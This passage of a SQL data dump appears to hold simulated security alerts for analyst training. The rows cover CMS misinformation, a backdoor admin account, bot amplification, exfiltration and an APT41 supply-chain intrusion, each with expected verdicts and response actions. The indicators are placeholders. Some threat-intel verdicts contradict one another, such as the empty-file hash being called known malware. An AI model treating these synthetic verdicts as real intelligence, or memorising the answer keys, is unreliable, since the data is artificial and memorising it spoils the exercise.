ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-07T14:23:56Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"j.smith@newswebsite.com\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"invalid_credentials\\\",\\\"related_email\\\":\\\"phishing_campaign@maliciousdomain.com\\\",\\\"malicious_url\\\":\\\"http://maliciousdomain.com/login\\\",\\\"hash\\\":\\\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(482, 'Unauthorized CMS Article Publication', 'high', 'Website Change Log', 'An unauthorized publication of articles detected on the CMS. Attackers utilized stolen credentials to disseminate false narratives aiming to influence public opinion through misinformation.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_id\":\"cms-2023-unauth-pub-002\",\"user\":\"compromised_editor\",\"ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.10.25\",\"modified_files\":[\"/var/www/cms/articles/fake-news-001.html\",\"/var/www/cms/articles/fake-news-002.html\"],\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action_taken\":\"Published\",\"timestamp_publish\":\"2023-10-15T13:44:55Z\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous misinformation campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_editor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Access Logs\",\"verdict\":\"internal\",\"details\":\"Username with elevated permissions used in unauthorized actions.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Empty file or common default hash, requires further investigation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.090Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:30Z\\\",\\\"event_id\\\":\\\"cms-2023-unauth-pub-002\\\",\\\"user\\\":\\\"compromised_editor\\\",\\\"ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.10.25\\\",\\\"modified_files\\\":[\\\"/var/www/cms/articles/fake-news-001.html\\\",\\\"/var/www/cms/articles/fake-news-002.html\\\"],\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"action_taken\\\":\\\"Published\\\",\\\"timestamp_publish\\\":\\\"2023-10-15T13:44:55Z\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(483, 'Backdoor Account Creation', 'high', 'User Account Activity Report', 'An attacker has created a new user account with administrative privileges on the CMS to maintain persistent access.', 'Persistence', 'T1136: Create Account', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_type\":\"user_account_creation\",\"user\":\"adminuser1\",\"created_by\":\"attacker_account\",\"created_at\":\"2023-10-05T14:20:00Z\",\"ip_address\":\"192.168.1.25\",\"external_ip\":\"203.0.113.5\",\"new_account\":{\"username\":\"backdooradmin\",\"privileges\":\"administrator\",\"creation_method\":\"web_interface\"},\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"cms_user_mgmt.php\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"backdooradmin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Newly created account with admin privileges.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"clean\",\"details\":\"Common hash associated with empty files.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"cms_user_mgmt.php\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File related to user management in CMS.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.092Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_type\\\":\\\"user_account_creation\\\",\\\"user\\\":\\\"adminuser1\\\",\\\"created_by\\\":\\\"attacker_account\\\",\\\"created_at\\\":\\\"2023-10-05T14:20:00Z\\\",\\\"ip_address\\\":\\\"192.168.1.25\\\",\\\"external_ip\\\":\\\"203.0.113.5\\\",\\\"new_account\\\":{\\\"username\\\":\\\"backdooradmin\\\",\\\"privileges\\\":\\\"administrator\\\",\\\"creation_method\\\":\\\"web_interface\\\"},\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"file_name\\\":\\\"cms_user_mgmt.php\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(484, 'Social Media Amplification Detected', 'medium', 'Social Media Monitoring Tools', 'A bot network was detected disseminating fake articles across various social media platforms, amplifying false narratives.', 'Lateral Movement', 'T1090 - Connection Proxy', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:30Z\",\"event_id\":\"SMAT-4567\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"username\":\"social_bot_user\",\"filename\":\"amplification_script.py\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://examplemalicioussite.com/fake-news\",\"action\":\"post\",\"platform\":\"SocialMediaNet\",\"article_title\":\"Breaking News: Major Event Unfolds\",\"article_id\":\"art-7890\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known botnet activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Recognized internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"social_bot_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual behavior detected.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"amplification_script.py\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Script used for spreading misinformation.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known malware.\"}},{\"id\":\"artifact_6\",\"type\":\"url\",\"value\":\"http://examplemalicioussite.com/fake-news\",\"is_critical\":true,\"osint_result\":{\"source\":\"Web Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Site used for hosting fake news.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.093Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_id\\\":\\\"SMAT-4567\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"social_bot_user\\\",\\\"filename\\\":\\\"amplification_script.py\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"url\\\":\\\"http://examplemalicioussite.com/fake-news\\\",\\\"action\\\":\\\"post\\\",\\\"platform\\\":\\\"SocialMediaNet\\\",\\\"article_title\\\":\\\"Breaking News: Major Event Unfolds\\\",\\\"article_id\\\":\\\"art-7890\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(485, 'Data Exfiltration Attempt Detected', 'high', 'Network Traffic Analysis', 'Finally, the attackers attempted to exfiltrate sensitive data from the CMS, aiming to use it for further operations or to sell on the dark web.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T19:45:00Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.55\",\"protocol\":\"HTTPS\",\"port\":443,\"filename\":\"sensitive_cms_data.zip\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"exfiltration_attempt\",\"alert_id\":\"EXFIL-2023-001\",\"malicious_url\":\"https://malicious.example.com/upload\",\"detected_by\":\"IDS\",\"description\":\"A data exfiltration attempt was detected by analyzing outgoing traffic from internal IP 192.168.1.105 to external IP 203.0.113.55 using HTTPS protocol.\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network_check\",\"verdict\":\"internal\",\"details\":\"Internal company network IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel_service\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"suspicious\",\"details\":\"File hash matches known suspicious file signature.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_cms_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File name indicates potential sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(486, 'Initial Access via Compromised Supplier Network', 'high', 'Third-party network traffic logs', 'APT41 successfully exploited vulnerabilities in the supplier\'s network to gain initial access to the video game developer\'s environment, leveraging compromised credentials and known malware.', 'Supply Chain Compromise', 'T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:47:23Z\",\"event_id\":\"123456789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"supplier_admin\",\"malware_filename\":\"ccleaner_setup.exe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"login_success\",\"protocol\":\"https\",\"url\":\"https://supplier-compromised.com/update\",\"message\":\"Successful login from external IP using compromised credentials. Known malicious file transferred.\"}', '2026-01-05 03:26:48', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT41 